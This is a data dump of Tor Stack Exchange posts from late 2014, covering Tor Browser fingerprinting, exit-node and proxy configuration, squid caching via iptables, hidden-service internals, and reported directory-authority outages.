  <row Id="4798" PostTypeId="1" AcceptedAnswerId="4801" CreationDate="2014-12-18T05:19:45.603" Score="2" ViewCount="131" Body="&lt;p&gt;Recently I read an article on the Tor developer site about removing responses for certain calls to Tor programming built into Mozilla's code. By that token, and depending on what they remove, would it not be possible for a site to attempt to use commands removed in the package just to determine if the user were in fact using a Tor browser and not a more standard Mozilla distribution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data I refer to (found in my notes) appears to show concern for revealing information about the web browser being Firefox-based and what operating system is being used. The provided answer seems to describe reasoning why this is however not important:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13016&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/13016&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A snippet from that site:  &#xA;&#xA;In Firefox25, Mozilla added a couple scary media queries&#xA;(-moz-os-version and -moz-osx-font-smoothing).&#xA;I think we should get rid of these, as well as most/all of the prefixed &#xA;media queries in &#xA;​https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Media_queries#-moz-os-version.&#xA;Either just disable them, or make them lie.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3431" LastEditorUserId="3431" LastEditDate="2014-12-25T05:47:22.320" LastActivityDate="2014-12-25T05:47:22.320" Title="Finding out if a web user is using Tor" Tags="|security|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4799" PostTypeId="2" ParentId="4797" CreationDate="2014-12-18T05:26:03.550" Score="0" Body="&lt;p&gt;It is in my best understanding that this cannot be answered effectively due to the sheer anonymity of the way Tor is used. If anyone has any data I will gladly accept their answer, but for now I will call this one impossible to answer.&lt;/p&gt;&#xA;" OwnerUserId="3431" LastActivityDate="2014-12-18T05:26:03.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4800" PostTypeId="2" ParentId="4797" CreationDate="2014-12-18T06:39:09.953" Score="1" Body="&lt;p&gt;There are two particular matters that are worth separating. The first is whether it is possible for an adversary to locate you, or identify you, from things about your connection and use of Tor that are independent of the real content of your traffic. The second is whether an attacker can identify you from the content of the transmissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good place to start to understand the issues is at the Electronic Frontier Foundation page on &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;Tor and HTTPS&lt;/a&gt;, a page that separates the issues of privacy versus anonymity. Once you have read that page, and tried out the Tor and HTTPS buttons on the page to show the changes in the diagram, you might like to read this &lt;a href=&quot;http://www.smh.com.au/news/security/the-hack-of-the-year/2007/11/12/1194766589522.html&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt;, which explains how embassy officials misunderstood the difference between the anonymity that Tor provides and the secrecy/privacy that is provided by HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having looked at the EFF page, you might also like to read about jocularly-called “&lt;a href=&quot;http://arstechnica.com/security/2014/01/scientists-detect-spoiled-onions-trying-to-sabotage-tor-privacy-network/&quot; rel=&quot;nofollow&quot;&gt;bad onions&lt;/a&gt;” which tamper with the Tor traffic in order to gain information about location of the user, rather than about content of the traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point it might become apparent that your question appears to confuse, or at least not disentangle, the two separate problems … and a new question might be in order.&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2014-12-18T06:39:09.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4801" PostTypeId="2" ParentId="4798" CreationDate="2014-12-18T06:53:43.287" Score="2" Body="&lt;p&gt;There are two different questions lurking here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use Tor to connect to a website, the IP address of the Tor exit node will, of necessity, be visible to the website that is being contacted. In addition, the IP addresses of Tor exit nodes are public, so it is easy for a website to learn that the user is using Tor, which is quite a different matter from learning where the user is located. Websites like &lt;a href=&quot;http://en.wikipedia.org&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt; regularly determine whether a user is using Tor. Tor users are not prevented from viewing Wikipedia, but the user will be prevented from editing pages in a certain way. Other sites, such as the Australian &lt;a href=&quot;http://www.whitepages.com.au&quot; rel=&quot;nofollow&quot;&gt;telephone directory&lt;/a&gt;, regularly block all Tor users from using the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the user end of the Tor connection is the question of whether or not you are trying to hide your use of Tor from your ISP. For most Tor users, this is not an issue, but it is an issue in those countries that censor internet in some way and want to prevent users from using Tor to circumvent the censorship. If this is what you are interested in, then search for articles on the Tor &lt;a href=&quot;http://blog.torproject.org&quot; rel=&quot;nofollow&quot;&gt;project blog&lt;/a&gt; relating to the circumvention of censorship.&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2014-12-18T06:53:43.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4802" PostTypeId="1" CreationDate="2014-12-18T08:30:16.197" Score="3" ViewCount="2917" Body="&lt;p&gt;How does one set up Tor in PuTTY? I'm using the Tor Browser Bundle on Windows 8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/Putty&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/Putty&lt;/a&gt; but the screenshot containing the proper settings has since been taken offline.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The above image shows the settings exactly as they should be set for&#xA;  usage with Tor. Pay particular attention to the &quot;Do DNS lookup at&#xA;  proxy end:&quot; option. If this is set to Off or Auto, then DNS will leak&#xA;  information about what services are being used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5165" LastActivityDate="2017-06-27T19:41:25.210" Title="Setting up Tor in PuTTY" Tags="|tor-browser-bundle|ssh|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4803" PostTypeId="1" CreationDate="2014-12-18T22:30:19.060" Score="1" ViewCount="116" Body="&lt;p&gt;I've just downloaded Tor browser version 4.0.2, it connects to the Tor network and the web browser but comes up with this message  Something Went Wrong!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is not working in this browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running windows 8. Can somebody help me with this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="5326" LastEditorUserId="923" LastEditDate="2014-12-18T23:59:40.100" LastActivityDate="2014-12-18T23:59:40.100" Title="TOR 4.0.2 not working" Tags="|tor-browser-bundle|windows|help|" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-21T14:06:57.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="4804" PostTypeId="1" CreationDate="2014-12-18T23:11:15.437" Score="2" ViewCount="2795" Body="&lt;p&gt;I want to  force Tor to use only the nodes of a specific country so I have edited the configuration file &lt;code&gt;torrc&lt;/code&gt;in this way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes wg1337, toxiroxiIT, CatRelay02, PhantomIT, torpidsITseflow2, CatRelay01, cristorIsblack, torpidsITseflow, torfatline, fatline, murdock311, KongbucksWelcome, Thorshammer, SingularityFTW, foghorn, Blackmesa, iristhaumantias, WooptThereItIs, Unnamed, midland, Unnamed, foghorn2, ziorufus, partyvan1, TestTurkey, carsol, clash, openspaceTorr01, manymanymore, ctrlCorf, packrat, MoreAssThanSoul, default, Unnamed, default, default, 000serverant1, TORNetworkRelayA01, Steppenwolfe, suca, default, r00t, FawkesSwissBlade, default, megabruco, stratmikefend, Unnamed, CirKu17, default, MadCat, lospartano, pisellonio, default, Meres&#xA;StrictExitNodes 1&#xA;# If non-zero, try to write to disk less frequently than we would otherwise.&#xA;AvoidDiskWrites 1&#xA;# Store working data, state, keys, and caches here.&#xA;DataDirectory .\Data\Tor&#xA;GeoIPFile .\Data\Tor\geoip&#xA;# Where to send logging messages.  Format is minSeverity[-maxSeverity]&#xA;# (stderr|stdout|syslog|file FILENAME).&#xA;Log notice stdout&#xA;# Bind to this address to listen to connections from SOCKS-speaking&#xA;# applications.&#xA;SocksListenAddress 127.0.0.1&#xA;SocksPort 9150&#xA;ControlPort 9151&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where in &lt;code&gt;ExitNodes&lt;/code&gt; line I have listed the names of nodes copied from &lt;em&gt;Tor Network Map&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately editing the config file in this way Tor doesn't work and I cannot open any website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone could help me?&lt;/p&gt;&#xA;" OwnerUserId="5328" OwnerDisplayName="AndreaF" LastEditorUserId="350" LastEditDate="2014-12-20T17:13:07.427" LastActivityDate="2014-12-23T17:20:08.683" Title="Tor won't work if I try to config custom ExitNodes" Tags="|configuration|support|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4806" PostTypeId="1" CreationDate="2014-12-19T19:00:23.123" Score="1" ViewCount="270" Body="&lt;p&gt;I'm using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -t nat -A PREROUTING -s $TOR_INSTANCE_IP -p tcp --dport 80 -j ACCEPT&#xA;sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3128&#xA;sudo iptables -t mangle -A PREROUTING -p tcp --dport 3128 -j DROP&#xA;sudo iptables -t nat -A POSTROUTING -j MASQUERADE&#xA;# &amp;lt;ref&amp;gt;http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect&amp;lt;/ref&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;/etc/rc.local&lt;/code&gt; to cache my HTTP traffic with a transparent &lt;code&gt;squid3&lt;/code&gt; instance (and it's working AFAIK). Would adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo iptables -t nat -A PREROUTING -s $TOR_INSTANCE_IP -p tcp --dport 9150 -j ACCEPT&#xA;sudo iptables -t nat -A PREROUTING -p tcp --dport 9150 -j REDIRECT --to-port 3128&#xA;sudo iptables -t nat -A PREROUTING -s $TOR_INSTANCE_IP -p tcp --dport 9151 -j ACCEPT&#xA;sudo iptables -t nat -A PREROUTING -p tcp --dport 9151 -j REDIRECT --to-port 3128&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before &lt;code&gt;sudo iptables -t nat -A POSTROUTING -j MASQUERADE&lt;/code&gt; (it's working as well AFAIK and &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org&lt;/a&gt; passes) have the same effect (caching of HTTP request in &lt;code&gt;tor-browser&lt;/code&gt; 4.0.2) without decreasing the level of privacy provided by an instance of &lt;code&gt;tor-browser&lt;/code&gt; with default settings?&lt;/p&gt;&#xA;" OwnerUserId="5329" LastEditorUserId="923" LastEditDate="2014-12-19T20:58:35.470" LastActivityDate="2014-12-19T20:58:35.470" Title="Does redirecting Tor traffic through a transparent squid3 caching proxy instance keep up the level of privacy granted by Tor?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4807" PostTypeId="1" AcceptedAnswerId="4809" CreationDate="2014-12-20T07:52:53.000" Score="1" ViewCount="228" Body="&lt;p&gt;At times Tor connect to several circuits (and different exit nodes) to support multiple protocol simultaneously, In these cases, why Atlas does not show all exit nodes Tor connect to simultaneously? Atlas only shows one exit node regardless of how many exit nodes is being used by Tor simultaneously.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-20T19:52:51.180" LastActivityDate="2014-12-20T19:52:51.180" Title="Why Atlas does not show all exit nodes Tor connect to simultaneously?" Tags="|tor-browser-bundle|circuit|atlas|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4809" PostTypeId="2" ParentId="4807" CreationDate="2014-12-20T17:08:00.733" Score="0" Body="&lt;p&gt;If you mean the Atlas link on check.torproject.org or on some other page, then the answer is: It links to the details for the exit node that you used to get to the page that the link is on.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is related: &lt;a href=&quot;https://tor.stackexchange.com/questions/1422/how-can-i-get-a-relays-fingerprint&quot;&gt;How can I get a relay&amp;#39;s fingerprint?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-12-20T17:29:33.643" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4812" PostTypeId="1" CreationDate="2014-12-20T20:19:09.570" Score="1" ViewCount="440" Body="&lt;p&gt;If one decide to cover the usage of Tor from both front end and back end (meaning both from ISP and the destination page) using VPN and/or Proxy, What process should one go through? For example the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User ---&gt; VPN1 ---&gt; Tor ---&gt; VPN2 ---&gt; Destination address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User ---&gt; proxy1 ---&gt; Tor ---&gt; Proxy2 ---&gt; Destination address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is in a case when Tor is used via Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the purpose of this question Both VPN1, VPN2, Proxy1, and Proxy2 are assumed to be free of charge. Therefore, there is no money trail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the details of the setup required to be able to do this?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-23T18:52:46.730" LastActivityDate="2015-10-20T16:19:52.347" Title="How to cover Tor usage with both front end and back end hidden by VPN and/or Proxy?" Tags="|anonymity|security|tails|vpn|web-proxy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4813" PostTypeId="2" ParentId="848" CreationDate="2014-12-20T23:19:27.750" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What exactly oc-&gt; and launched-&gt;rend_data-&gt; means?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;both are pointers used by the HS&lt;/li&gt;&#xA;&lt;li&gt;the contents of rendservice.c refer to 'The hidden-service side of rendezvous functionality' &lt;/li&gt;&#xA;&lt;li&gt;what they mean depends on the context of use&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;int rend_config_services (const or_options_t *, int)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for registering a HS&lt;/li&gt;&#xA;&lt;li&gt;oc is a pointer to the intro point circuit for the HS being registered&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;static int count_established_intro_points(const char *)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;oc is a pointer to the intro point circuit to the HS represented by the string&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;int rend_service_introduce (origin_circuit_t *, const uint8_t *, size_t)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;launched is a pointer to the rendezvous point circuit&lt;/li&gt;&#xA;&lt;li&gt;(aside: which is also known as oldcirc/newcirc if failures occur)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;static int rend_service_launch_establish_intro(rend_service_t *, rend_intro_point_t *)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;launched is a pointer to the intro point circuit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm looking for onion addresses that use my relay as rendezvous.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I see this part of your question hasn't yet been fully clarified so I will try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SafeLogging will replace references in your log of [scrubbed] with the actual address. This doesn't include the onion address. I recommend you start with the following, &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow&quot;&gt;code-free, and visual, guide to hidden service operation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular look at the end of step (3).&#xA;&quot;the client also creates a circuit to another randomly picked relay and asks it to act as rendezvous point by telling it a one-time secret&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later, in step (5), you see the one-time secret again, &quot;The (hidden) service creates a circuit to the rendezvous point and sends the one-time secret to it in a rendezvous message&quot;. So, the rendezvous point (you, in this example) connects the already established client-circuit to the newly formed HS-circuit by using this shared secret. In this manner you never get to see which onion address you're acting as a rendezvous for. You only have the one-time secret. The one-time secret allows you to identify a client-service relationship for acting as the rendezvous point. If you're interested this one-time secret is part of the rend_data_t structure. The circuit pointers I mentioned above contain this structure as a member. This structure is allocated dynamically so it is, itself, a pointer to it's members (which is why you see oc-&gt;rend_data-&gt; and launched-&gt;rend_data-&gt;). You can locate this structure in the source file &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/or.h#n804&quot; rel=&quot;nofollow&quot;&gt;or.h&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Raw code, better patch like ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hope I've clarified why this type of logging doesn't occur. It would make hidden services insecure. Maybe you mean well but someone certainly would exploit this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you prefer to dig through the code for your step-by-step, you can use gdb. You can watch the function call flow for the various states of hidden service operation, service, client, mid.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;get/build the debug version of tor including debug symbols&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Hacking&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; looks like a good place to start. You could also find assistance with this on the mailing list tor-dev.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;allow debugger attachment by adding to your torrc&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DisableDebuggerAttachment 0&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;get the pid by adding to your torrc&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PidFile FILE&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;start up the tor process your usual way and locate it's pid from FILE or by using ps -A in a terminal&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;attach to the tor process using it's pid, gdb -p pid&lt;/li&gt;&#xA;&lt;li&gt;now you can (amoung other things) force gdb to break on particular functions of interest or all functions in a file&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rbreak some_fn0&lt;/li&gt;&#xA;&lt;li&gt;break some_fn1&lt;/li&gt;&#xA;&lt;li&gt;rbreak some_source_file.c:.*&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope that clears things up for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastEditorDisplayName="user5341" LastEditDate="2014-12-21T21:33:57.480" LastActivityDate="2014-12-21T21:33:57.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4815" PostTypeId="1" CreationDate="2014-12-21T16:37:43.490" Score="1" ViewCount="56" Body="&lt;p&gt;Wanted to watch Colbert from stated but Tor says the plugin is disabled.&lt;/p&gt;&#xA;" OwnerUserId="5344" LastEditorDisplayName="user5" LastEditDate="2014-12-22T03:41:39.813" LastActivityDate="2014-12-22T03:41:39.813" Title="I have trouble watching some video using the Tor Browser" Tags="|plugin|flash|" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-22T03:40:24.653" ContentLicense="CC BY-SA 3.0" />
  <row Id="4816" PostTypeId="1" CreationDate="2014-12-21T21:10:36.157" Score="2" ViewCount="125" Body="&lt;p&gt;I installed Tor on Debian Wheezy: apt-get install tor&#xA;Then I downloaded and extracted: &lt;a href=&quot;https://www.torproject.org/dist/torbrowser/4.0.2/tor-browser-linux64-4.0.2_en-US.tar.xz&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/dist/torbrowser/4.0.2/tor-browser-linux64-4.0.2_en-US.tar.xz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run tor-browser, won't the embedded tor component cause a tor over tor situation?&#xA;To prevent, I followed &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/WebBrowsers#UseTorBrowserwithoutbundledTorNIX&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/WebBrowsers#UseTorBrowserwithoutbundledTorNIX&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser now produces error: &quot;Tor is not working in this browser&quot;&#xA;What is happening? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5345" LastActivityDate="2015-01-20T21:56:24.550" Title="Prevent running Tor Browser on top of Tor" Tags="|tor-browser-bundle|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4817" PostTypeId="2" ParentId="4816" CreationDate="2014-12-21T21:31:56.883" Score="1" Body="&lt;p&gt;It will not cause a Tor-over-Tor situation. The Tor Browser launches its own instance of Tor that has its own connection to the Tor network regardless of other instances running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Running Tor on your host does not mean that everything (including your other Tor) automagically connects through it.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your browser is probably using Tor, but can not make a control connection. In that case your question is similar to this one of mine: &lt;a href=&quot;https://tor.stackexchange.com/questions/4173/using-tor-browser-with-alternate-tor-client-works-but-issues-warning&quot;&gt;Using Tor Browser with alternate Tor client - works but issues warning&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-12-21T21:31:56.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4821" PostTypeId="1" AcceptedAnswerId="4830" CreationDate="2014-12-22T03:01:57.547" Score="1" ViewCount="306" Body="&lt;p&gt;&lt;strong&gt;Warning!!!&lt;/strong&gt;&lt;br&gt;&#xA;It appears that many Directory authorities are compromised and taken down, This is a horrendous security risk, Who has done it and Why? There are currently 9 directory authorities. More than half of the authorities must be online and they must reach a consensus on the current state of the network every hour for them to create and publish the hourly networkstatus-consensus (the list of all the known relays). If some of the directory authorities were compromised and taken offline then the remaining DAs will continue publishing the consensus and the network will continue operating normally. The one performance impact will be seen by new clients. When they first try connecting to the network (download and launch Tor Browser for the first time) they will try connecting to one of the directory authorities and download the networkstatus consensus from it. If some of the directory authorities are offline, it may take some time for each connection to timeout (while the client connects to an unavailable authority), but eventually the client will reach an operational authority and it will then be able to use the Tor network as usual.&#xA;If more than 5 DAs are taken offline then this is a horrendously large operation and the necessary corrective actions must be taken to ensure the network remains operational.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A new client have tried Tor for the first time on Dec 20 2014, and it took more than 20 minutes to connect to an online directory authority. How many directory authorities are down? Is there any information why so many directory authorities are down? Following please find the partial list of directory authorities that appear to be down and up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;154.35.32.5  appear to be down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;86.59.21.38  appear to be down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;194.109.206.212 appear to be down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;183.233.166.170 appear to be down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;218.22.79.38  appear to down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;131.188.40.189 appear to be up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please provide as much information as possible because this appear to be a substantial security risk.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-22T09:40:00.027" LastActivityDate="2014-12-22T23:03:42.653" Title="Warning!!! Many of directory authorities are compromised and taken down, This is a horrendous security risk, Who has done it and why?" Tags="|anonymity|security|attacks|directory|" AnswerCount="2" CommentCount="4" ClosedDate="2014-12-22T23:34:58.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="4822" PostTypeId="1" CreationDate="2014-12-22T07:09:38.553" Score="1" ViewCount="1720" Body="&lt;p&gt;So I recently setup tor on a VPS with the hope of creating a hidden service, the issue being I cannot get the hidden service to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/Kd2sggwG&quot; rel=&quot;nofollow&quot;&gt;Link to Torrc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that it is not creating the folder in which it is to generate the Private key and .onion.&#xA;This is where my issue lies. I cannot seem to find a SINGLE similar matter. I do assume I've screwed up somewhere but I just can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Yes it's being run as root.&lt;/p&gt;&#xA;" OwnerUserId="5347" LastActivityDate="2014-12-22T07:09:38.553" Title="Tor hidden services not working?" Tags="|onion-services|" AnswerCount="0" CommentCount="5" ClosedDate="2017-04-21T20:37:59.580" ContentLicense="CC BY-SA 3.0" />
  <row Id="4825" PostTypeId="2" ParentId="4821" CreationDate="2014-12-22T16:47:55.787" Score="0" Body="&lt;p&gt;This was announced / predicted a few days ago on the Tor blog:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://blog.torproject.org/blog/possible-upcoming-attempts-disable-tor-network&quot; rel=&quot;nofollow noreferrer&quot;&gt;Possible upcoming attempts to disable the Tor network&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Tor Project has learned that there may be an attempt to incapacitate our network in the next few days through the seizure of specialized servers in the network called directory authorities. [....]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Two of the addresses you listed, the ones that start with 183 and 218, are not directory authorities.&lt;/p&gt;&#xA;&lt;p&gt;Also, I just checked, and at time of posting, according to Atlas, if that is worth something, all directory authorities have the Authority, Stable, Running, Valid flags, and seven of nine self-report an uptime of over 3 days.&lt;/p&gt;&#xA;&lt;p&gt;From the consensus health it seems that all is normal.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-12-22T22:06:02.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4826" PostTypeId="1" AcceptedAnswerId="4829" CreationDate="2014-12-22T17:50:55.090" Score="2" ViewCount="442" Body="&lt;p&gt;If many directory authorities are compromised or offline, is it still safe to use Tor? What are security and anonymity consequences for Tor users of such an attack on directory authorities?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="350" LastEditDate="2014-12-22T21:11:30.790" LastActivityDate="2014-12-22T21:49:21.323" Title="What would happen if directory authorities were compromised or taken down?" Tags="|anonymity|security|attacks|directory|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4827" PostTypeId="1" CreationDate="2014-12-22T19:57:53.047" Score="2" ViewCount="703" Body="&lt;p&gt;I'm a complete newbie, so first of all sorry for the terminology and if this is not the best place to ask. &#xA;I want to create a new email account of my own using Tor browser, but I've come across the following issues: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I do not really know what service I could use to create an email account; I've heard something about using Tails claw email service.&lt;/li&gt;&#xA;&lt;li&gt;Most other services asks you to have &quot;JavaScript enabled in your browser&quot; Please, I'd appreciate it so much if somebody could supply me some guidelines. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, I'm trying to verify GnuPG itself. Following the steps indicated in &lt;a href=&quot;http://www.deepdotweb.co/jolly-rogers-security-guide-for-beginners/how-to-verify-your-downloaded-files-are-authentic/&quot; rel=&quot;nofollow&quot;&gt;http://www.deepdotweb.co/jolly-rogers-security-guide-for-beginners/how-to-verify-your-downloaded-files-are-authentic/&lt;/a&gt; , which first verifies that the verification program GnuPG is legit (even before trying to verify the Tails ISO file), when trying to verify the signature file named &lt;code&gt;gpg4win-2.2.3.exe.sig&lt;/code&gt;, the following message pops up: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Kleopatra: Could not open file &quot;&quot; for reading: Input/output error (218136625)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't even know the name of the 